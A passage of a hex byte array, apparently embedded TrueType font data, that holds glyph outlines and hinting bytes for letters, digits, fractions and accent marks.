0x13,0x10,0xcd,0xcd,0x13,0xb1,0x0,0xe,0x2f,0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb2, - 0x5,0x4,0x3,0x2f,0x3c,0x3c,0xb2,0x18,0x17,0x3,0x10,0xdd,0x3c,0xb2,0xf,0x10, - 0xc,0x10,0xdd,0x3c,0x31,0x30,0x33,0x11,0x33,0x15,0x21,0x33,0x32,0x16,0x15,0x14, - 0x6,0x23,0x7,0x21,0x19,0x1,0x21,0x32,0x36,0x35,0x34,0x26,0x23,0x27,0x21,0x82, - 0x9a,0x1,0xa3,0x34,0xe7,0xa8,0xaf,0xf1,0x3c,0xfe,0x76,0x1,0x6d,0xe6,0x80,0x57, - 0xa3,0x3b,0xfe,0x62,0x5,0x55,0xbf,0xb2,0xf5,0xec,0xaa,0x1,0xfe,0xa8,0x1,0xda, - 0x5f,0xa9,0xc7,0x6a,0x1,0x0,0x2,0x0,0x60,0xff,0xf2,0x3,0xad,0x5,0x64,0x0, - 0x17,0x0,0x23,0x0,0x5d,0x40,0xd,0x17,0x12,0xc,0x9,0x8,0x7,0x6,0x5,0x4, - 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2f,0x2f, - 0x2e,0xb3,0x21,0xc,0x1b,0x12,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x5,0x4,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x7,0x4,0x10,0xc0,0x40,0xd,0x1,0x17,0x9, - 0x8,0x6,0x3,0x2,0x1,0x0,0x8,0x4,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13, - 0xb3,0x15,0x2,0xf,0x0,0x3f,0x3f,0xb3,0x1e,0xf,0x18,0x15,0x10,0xcd,0x10,0xcd, - 0x31,0x30,0x1,0x7,0x27,0x37,0x27,0x33,0x17,0x37,0x17,0x7,0x13,0x16,0x11,0x10, - 0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x21,0x32,0x17,0x7,0x22,0x6,0x15,0x14,0x16, - 0x33,0x32,0x36,0x35,0x34,0x26,0x2,0x13,0xc3,0x2e,0xbb,0x60,0x8b,0x39,0xb3,0x2e, - 0xaa,0xd3,0x62,0x9e,0xfe,0xf7,0xfe,0xf8,0x9e,0x9e,0x1,0x9,0x44,0x45,0x8a,0xba, - 0x59,0x59,0xba,0xbb,0x59,0x59,0x4,0x7b,0x6c,0x53,0x68,0x8b,0x53,0x62,0x53,0x5e, - 0xfe,0xcd,0x8f,0xfe,0xed,0xfe,0xcc,0xb8,0xb8,0x1,0x34,0x1,0x34,0xb8,0x6,0x6e, - 0x79,0xff,0xff,0x79,0x79,0xff,0xff,0x79,0x0,0x0,0x2,0x0,0x7b,0xfe,0x65,0x3, - 0xb3,0x5,0x55,0x0,0x10,0x0,0x1c,0x0,0x58,0xb1,0x0,0x10,0x2f,0x3c,0xb5,0xf, - 0xe,0x2,0x1,0x3,0x10,0x10,0x17,0xdd,0x3c,0xb4,0x14,0xd,0x8,0x3,0x1,0x10, - 0xc0,0xc4,0xc0,0xc4,0xb1,0x1a,0x8,0x10,0xcd,0x0,0xb4,0x1,0x0,0x1,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x10,0xf,0x2f,0x3c,0x40,0xb,0x1,0x1,0xe,0xd, - 0x3,0x2,0x4,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb3, - 0xb,0x0,0x5,0x2,0x3f,0x3f,0xb3,0x17,0xb,0x11,0x5,0x10,0xcd,0x10,0xcd,0x31, - 0x30,0x13,0x33,0x11,0x17,0x36,0x33,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23, - 0x11,0x23,0x1,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c, - 0x4,0x48,0xeb,0xd5,0xa0,0xa2,0xcf,0xec,0x4c,0x3,0x8c,0x1,0x9c,0xa8,0x66,0x6e, - 0xa6,0x9e,0x65,0x62,0x5,0x55,0xfd,0xee,0x3,0x8a,0xd9,0xfe,0xdf,0xfe,0xf3,0xd1, - 0x7f,0xfd,0xf4,0x4,0xf1,0x91,0xef,0xdd,0x93,0x8e,0xde,0xf4,0x90,0x0,0x1,0x0, - 0x8c,0x2,0x22,0x2,0xe,0x5,0x55,0x0,0x6,0x0,0x37,0xb1,0x0,0x1,0x2f,0x3c, - 0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0, - 0x0,0xb4,0x1,0x0,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, - 0x3c,0xb7,0x1,0x5,0x4,0x3,0x3,0x6,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13, - 0x31,0x30,0x1,0x11,0x23,0x11,0x7,0x27,0x37,0x2,0xe,0x66,0xd5,0x47,0xf5,0x5, - 0x55,0xfc,0xcd,0x2,0xd7,0xdc,0x3f,0xf9,0x0,0x0,0x1,0x0,0x50,0x2,0x20,0x2, - 0xcc,0x5,0x5d,0x0,0x1f,0x0,0x4e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x0,0x1,0x2f, - 0x3c,0xb1,0x18,0x1,0x10,0xc4,0x40,0x9,0xf,0x1f,0x1e,0x11,0x10,0xf,0x5,0x1, - 0x2,0x11,0x12,0x17,0x39,0x2f,0xb1,0x9,0x18,0x10,0xcd,0x0,0xb1,0x0,0x1f,0x2f, - 0x3c,0xb1,0x11,0x10,0x2f,0x3c,0xb2,0x2,0x1,0x1f,0x10,0xdd,0x3c,0xb5,0x1,0x1e, - 0x3,0x2,0x0,0x1f,0x11,0x14,0x12,0x39,0x39,0x14,0xb1,0x15,0x1,0x3f,0xb1,0xc, - 0x15,0x10,0xcd,0x31,0x30,0x1,0x15,0x21,0x35,0x34,0x36,0x37,0x3e,0x1,0x35,0x34, - 0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x33,0x32,0x16,0x15,0x14,0x6, - 0x7,0xe,0x1,0x1d,0x1,0x2,0xc9,0xfd,0x87,0x6e,0xcb,0x9f,0x3e,0x48,0x83,0x92, - 0x4d,0x1,0x6c,0x1,0x84,0xbf,0xba,0x7d,0x73,0xbe,0xa1,0x3c,0x2,0x7c,0x5c,0xa0, - 0x83,0x53,0x15,0x11,0x35,0x74,0x66,0x39,0x30,0x5b,0x44,0x31,0x92,0x65,0x69,0x9c, - 0x93,0x65,0x12,0xf,0x33,0x7c,0x14,0x0,0x1,0x0,0x4c,0x2,0x1a,0x2,0xdc,0x5, - 0x5d,0x0,0x2a,0x0,0x84,0xb1,0x0,0x1,0x2f,0x3c,0xb7,0x23,0x21,0x20,0x1f,0xd, - 0xc,0xb,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xb6,0x2a,0x29,0x25,0x18, - 0x16,0x14,0x1,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0xc0,0xb3,0x27,0x18,0x5,0x14,0x10, - 0xcd,0x10,0xcd,0x0,0xb1,0x20,0x1f,0x2f,0x3c,0xb0,0x2,0x2f,0xb1,0xd,0xc,0x2f, - 0x3c,0xb3,0x0,0x2a,0x29,0x2,0x10,0xdd,0x3c,0x3c,0x40,0xa,0x1b,0x1,0x25,0x23, - 0x21,0x1b,0x4,0x1f,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0xb4,0x1,0x16, - 0x2,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0xb2,0x1,0xc,0x2,0x11,0x12,0x39,0xb4, - 0x1,0xb,0x1,0x0,0xc,0x11,0x14,0x12,0x39,0x14,0xb1,0x11,0x1,0x3f,0xb3,0x24, - 0x1b,0x8,0x11,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x35,0x17,0x32,0x36,0x35,0x34, - 0x26,0x23,0x22,0x6,0x1d,0x1,0x23,0x35,0x34,0x36,0x33,0x32,0x16,0x15,0x14,0x7, - 0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x27,0x33,0x15,0x14,0x33,0x17,0x37,0x36, - 0x35,0x34,0x2b,0x1,0x1,0x45,0x28,0xae,0x4a,0x40,0x97,0x8e,0x3c,0x69,0x77,0xbb, - 0xc1,0x7d,0x75,0x86,0x80,0xbf,0xce,0x82,0x1,0x6c,0x7d,0x8c,0x5d,0x58,0xb3,0x52, - 0x3,0x96,0x5d,0x1,0x26,0x59,0x67,0x2c,0x2c,0x66,0x22,0x27,0x8d,0x59,0x53,0x80, - 0xab,0x19,0x17,0xa5,0x90,0x60,0x59,0x8d,0x36,0x36,0x8b,0x2,0x7,0xe,0x87,0x87, - 0x0,0x0,0x1,0x0,0xc2,0x0,0xf9,0x4,0x26,0x4,0x5d,0x0,0xb,0x0,0x4b,0x40, - 0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xf,0x1,0x1,0xb,0xa, - 0x9,0x8,0x7,0x6,0x3,0x0,0x8,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, - 0x39,0x13,0x14,0x40,0xb,0x1,0x1,0x5,0x4,0x2,0x1,0x4,0x1,0x0,0x2,0x0, - 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x9,0x1,0x37,0x9,0x1,0x17, - 0x9,0x1,0x7,0x9,0x1,0x27,0x2,0x15,0xfe,0xad,0x5f,0x1,0x53,0x1,0x53,0x5f, - 0xfe,0xad,0x1,0x53,0x5f,0xfe,0xad,0xfe,0xad,0x5f,0x2,0xab,0x1,0x52,0x60,0xfe, - 0xad,0x1,0x53,0x60,0xfe,0xae,0xfe,0xad,0x5f,0x1,0x52,0xfe,0xae,0x5f,0x0,0x0, - 0x3,0x0,0x8c,0x0,0x0,0x7,0x17,0x5,0x55,0x0,0x6,0x0,0xa,0x0,0x2a,0x0, - 0x9b,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb1,0xb,0xc,0x2f,0x3c, - 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0, - 0xb1,0x23,0xc,0x10,0xc4,0x40,0x9,0x1a,0x2a,0x29,0x1c,0x1b,0x1a,0x5,0xc,0xd, - 0x11,0x12,0x17,0x39,0x2f,0xb3,0xa,0x9,0x8,0x7,0x2e,0x2e,0x2e,0x2e,0xb1,0x14, - 0x23,0x10,0xcd,0x0,0x40,0xb,0x1,0xb,0x2a,0x0,0x7,0xa,0x0,0x0,0x6,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, - 0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb1,0x1c,0x1b,0x2f,0x3c, - 0xb7,0x1,0x5,0x4,0x3,0x3,0x6,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3, - 0x29,0xe,0x1b,0x2a,0x11,0x12,0x39,0x39,0xb5,0x20,0x1,0x20,0x2,0x0,0x1b,0x11, - 0x14,0x12,0x39,0x14,0x2f,0xb1,0x17,0x20,0x10,0xcd,0x31,0x30,0x1,0x11,0x23,0x11, - 0x7,0x27,0x37,0x21,0x1,0x23,0x9,0x1,0x15,0x21,0x35,0x34,0x36,0x37,0x3e,0x1, - 0x35,0x34,0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x33,0x32,0x16,0x15, - 0x14,0x6,0x7,0xe,0x1,0x1d,0x1,0x2,0xe,0x66,0xd5,0x47,0xf5,0x4,0x44,0xfc, - 0x62,0x68,0x3,0x9a,0x1,0xbb,0xfd,0x87,0x6d,0xcc,0x9f,0x3e,0x48,0x83,0x92,0x4d, - 0x1,0x6c,0x1,0x84,0xbf,0xba,0x7d,0x74,0xbd,0xa2,0x3b,0x5,0x55,0xfc,0xcd,0x2, - 0xd7,0xdc,0x3f,0xf9,0xfa,0xab,0x5,0x55,0xfb,0x7,0x5c,0xa0,0x83,0x51,0x16,0x11, - 0x34,0x74,0x66,0x39,0x30,0x5b,0x44,0x31,0x92,0x65,0x69,0x9c,0x93,0x65,0x11,0xf, - 0x33,0x7b,0x14,0x0,0x4,0x0,0x8c,0x0,0x0,0x7,0x48,0x5,0x55,0x0,0x6,0x0, - 0xa,0x0,0x15,0x0,0x18,0x0,0x99,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x14,0x13,0x2f, - 0x3c,0xb4,0xb,0x10,0xf,0xc,0x3,0x17,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb2, - 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x16,0x17,0x12,0x11,0x3,0xc,0x10,0x17,0xdd, - 0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0,0xb3,0x18,0x15,0x11,0x13,0x11, - 0x12,0x39,0x39,0xb3,0xa,0x9,0x8,0x7,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x7, - 0xa,0x0,0x0,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2, - 0x1,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb1,0x11,0x10,0x2f,0x3c,0xb4,0x13,0x12, - 0xf,0xe,0x3,0x17,0x2f,0x3c,0xb1,0xb,0x15,0x2f,0x3c,0xb5,0x16,0x18,0xd,0xc, - 0x3,0xe,0x10,0x17,0xdd,0x3c,0xb7,0x1,0x5,0x4,0x3,0x3,0x6,0x2,0x0,0x13, - 0x11,0x12,0x17,0x39,0x13,0xb3,0x17,0x14,0x15,0xc,0x11,0x12,0x39,0x39,0x31,0x30, - 0x1,0x11,0x23,0x11,0x7,0x27,0x37,0x21,0x1,0x23,0x9,0x1,0x11,0x33,0x15,0x23, - 0x15,0x23,0x35,0x21,0x35,0x1,0x13,0x11,0x1,0x2,0xe,0x66,0xd5,0x47,0xf5,0x4, - 0x44,0xfc,0x62,0x68,0x3,0x9a,0x1,0x6e,0x81,0x81,0x66,0xfe,0x16,0x1,0xb8,0x32, - 0xfe,0x7d,0x5,0x55,0xfc,0xcd,0x2,0xd7,0xdc,0x3f,0xf9,0xfa,0xab,0x5,0x55,0xfd, - 0xde,0xfd,0xe3,0x5c,0xba,0xba,0x76,0x2,0x3,0xfd,0xe3,0x1,0xcc,0xfe,0x34,0x0, - 0x4,0x0,0x4c,0x0,0x0,0x7,0x47,0x5,0x5d,0x0,0x2a,0x0,0x2e,0x0,0x39,0x0, - 0x3c,0x0,0xeb,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x38,0x37,0x2f,0x3c,0xb4,0x2f,0x34, - 0x33,0x30,0x3,0x17,0x2f,0x3c,0xb1,0x32,0x31,0x2f,0x3c,0xb5,0x3a,0x3b,0x36,0x35, - 0x3,0x30,0x10,0x17,0xdd,0x3c,0xb7,0x23,0x21,0x20,0x1f,0xd,0xc,0xb,0x1,0x10, - 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xb6,0x2a,0x29,0x25,0x18,0x16,0x14,0x1,0x10, - 0xc4,0xc0,0xc4,0xc0,0xc0,0xc0,0xb3,0x3c,0x39,0x35,0x37,0x11,0x12,0x39,0x39,0xb3, - 0x2e,0x2d,0x2c,0x2b,0x2e,0x2e,0x2e,0x2e,0xb3,0x27,0x18,0x5,0x14,0x10,0xcd,0x10, - 0xcd,0x0,0xb4,0x1,0x2b,0x2e,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x20,0x1f, - 0x2f,0x3c,0xb0,0x2,0x2f,0xb1,0xd,0xc,0x2f,0x3c,0xb1,0x2d,0x2c,0x2f,0x3c,0xb1, - 0x35,0x34,0x2f,0x3c,0xb4,0x37,0x36,0x33,0x32,0x3,0x17,0x2f,0x3c,0xb1,0x2f,0x39, - 0x2f,0x3c,0xb3,0x0,0x2a,0x29,0x2,0x10,0xdd,0x3c,0x3c,0xb5,0x3a,0x3c,0x31,0x30, - 0x3,0x32,0x10,0x17,0xdd,0x3c,0x40,0xa,0x1b,0x1,0x25,0x23,0x21,0x1b,0x4,0x1f, - 0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0xb4,0x1,0x16,0x2,0x2,0x0,0x13, - 0x11,0x12,0x39,0x13,0xb2,0x1,0xc,0x2,0x11,0x12,0x39,0xb4,0x1,0xb,0x1,0x0, - 0xc,0x11,0x14,0x12,0x39,0x14,0xb3,0x3b,0x38,0x39,0x30,0x11,0x12,0x39,0x39,0xb1, - 0x11,0x1,0x3f,0xb3,0x24,0x1b,0x8,0x11,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x35, - 0x17,0x32,0x36,0x35,0x34,0x26,0x23,0x22,0x6,0x1d,0x1,0x23,0x35,0x34,0x36,0x33, - 0x32,0x16,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x27,0x33,0x15, - 0x14,0x33,0x17,0x37,0x36,0x35,0x34,0x2b,0x1,0x9,0x1,0x23,0x9,0x1,0x11,0x33, - 0x15,0x23,0x15,0x23,0x35,0x21,0x35,0x1,0x13,0x11,0x1,0x1,0x45,0x28,0xae,0x4a, - 0x40,0x97,0x8e,0x3c,0x69,0x77,0xbb,0xc1,0x7d,0x75,0x86,0x80,0xbf,0xce,0x82,0x1, - 0x6c,0x7d,0x8c,0x5d,0x58,0xb3,0x52,0x4,0x98,0xfc,0x61,0x67,0x3,0x99,0x1,0x2a, - 0x81,0x81,0x66,0xfe,0x16,0x1,0xb8,0x32,0xfe,0x7d,0x3,0x96,0x5d,0x1,0x26,0x59, - 0x67,0x2c,0x2c,0x66,0x22,0x27,0x8d,0x59,0x53,0x80,0xad,0x17,0x16,0xa6,0x90,0x60, - 0x59,0x8d,0x36,0x36,0x8b,0x2,0x7,0xe,0x87,0x87,0x1,0xbf,0xfa,0xab,0x5,0x55, - 0xfd,0xde,0xfd,0xe3,0x5c,0xba,0xba,0x76,0x2,0x3,0xfd,0xe3,0x1,0xcc,0xfe,0x34, - 0x0,0x0,0x2,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0,0x3,0x0,0x7,0x0, - 0x35,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10, - 0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x1,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1, - 0x4,0x5,0x2f,0x3c,0x31,0x30,0x11,0x33,0x11,0x23,0x11,0x33,0x11,0x23,0x8c,0x8c, - 0x8c,0x8c,0x5,0x55,0xfd,0x59,0xfe,0x8c,0xfd,0x71,0x0,0x0,0x2,0x1,0x69,0x5, - 0xfa,0x3,0x75,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c, - 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5, - 0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2, - 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15, - 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x3,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82, - 0x82,0x82,0x0,0x0,0x1,0x2,0xe,0x5,0xc4,0x3,0x74,0x6,0xcd,0x0,0x3,0x0, - 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, - 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27, - 0x3,0x37,0x3d,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x6a,0x5, - 0xc4,0x2,0xd0,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, - 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xa6,0x1,0x2a,0x32,0xfe,0xcc,0x6, - 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x32,0x5,0xc4,0x3,0xac,0x6,0xc7,0x0, - 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0, - 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x73,0x1, - 0x39,0x2b,0xfe,0xf2,0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0, - 0x1,0x1,0x48,0x5,0xe7,0x3,0xb1,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9, - 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0, - 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7, - 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x63,0x4e,0x54,0x68,0x2c,0x5e,0x54, - 0x27,0x2d,0x29,0x52,0x4a,0x63,0x29,0x5f,0x5b,0x20,0x38,0x6,0xa2,0x33,0x88,0x29, - 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0xd2,0x5,0xb5,0x3,0xc,0x6, - 0xef,0x0,0x7,0x0,0xf,0x0,0x25,0xb1,0x6,0x2,0x2f,0x2f,0xb3,0xe,0x2,0xa, - 0x6,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x4,0x0,0x1,0x0,0x13,0x10,0xc4,0xc4, - 0x13,0xb3,0xc,0x4,0x8,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14, - 0x23,0x22,0x35,0x34,0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x2,0x6f,0x9d,0x9d, - 0x9d,0x9d,0x59,0x59,0x59,0x6,0xef,0x9d,0x9d,0x9d,0x9d,0x48,0x55,0x55,0x55,0x55, - 0x0,0x0,0x2,0x1,0x6,0x5,0xfa,0x3,0x12,0x6,0x7c,0x0,0x3,0x0,0x7,0x0, - 0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, - 0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1, - 0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10, - 0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x1,0xa0,0x9a,0x2, - 0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0,0x1,0x1,0x8f,0x5,0xc4,0x2, - 0xf5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, - 0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13, - 0x31,0x30,0x1,0x17,0x5,0x27,0x2,0xb9,0x3c,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a, - 0x4f,0x0,0x1,0x1,0x30,0x5,0xc4,0x2,0x95,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3, - 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1, - 0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0x6c, - 0x1,0x29,0x32,0xfe,0xcd,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x0,0xce,0x5, - 0xc4,0x3,0x49,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0, - 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7, - 0x25,0x5,0x27,0x2,0xf,0x1,0x3a,0x2b,0xfe,0xf1,0xfe,0xe5,0x26,0x6,0xc7,0xb6, - 0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x2,0x0,0x15,0x5,0xfa,0x1,0x8b,0x6,0x7c,0x0, - 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2, - 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0, - 0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2, - 0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15,0x23,0x35, - 0xaf,0x9a,0x1,0x76,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x1,0x0,0x6f,0x5, - 0xc4,0x1,0xd5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, - 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x1,0x98,0x3d,0xfe,0xcc,0x32,0x6,0xcd, - 0x6f,0x9a,0x4f,0x0,0x1,0xff,0xcb,0x5,0xc4,0x1,0x31,0x6,0xcd,0x0,0x3,0x0, - 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, - 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7,0x25, - 0x7,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x1,0xff,0xae,0x5, - 0xc4,0x1,0xf2,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0, - 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7, - 0x27,0x5,0x27,0xd4,0x1,0x1e,0x2b,0xf3,0xff,0x0,0x26,0x6,0xc7,0xb6,0x4d,0x7c, - 0x7c,0x4d,0x0,0x0,0x1,0x1,0xa2,0x5,0xe7,0x4,0xc,0x6,0xa2,0x0,0x11,0x0, - 0x29,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa, - 0x9,0x3,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3, - 0x10,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27, - 0x26,0x23,0x22,0x7,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0xbe,0x4e,0x54, - 0x69,0x2c,0x5d,0x54,0x28,0x2d,0x28,0x53,0x4a,0x64,0x28,0x5f,0x5b,0x21,0x37,0x6, - 0xa2,0x33,0x88,0x29,0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0x6e,0x5, - 0xfa,0x3,0x7a,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c, - 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5, - 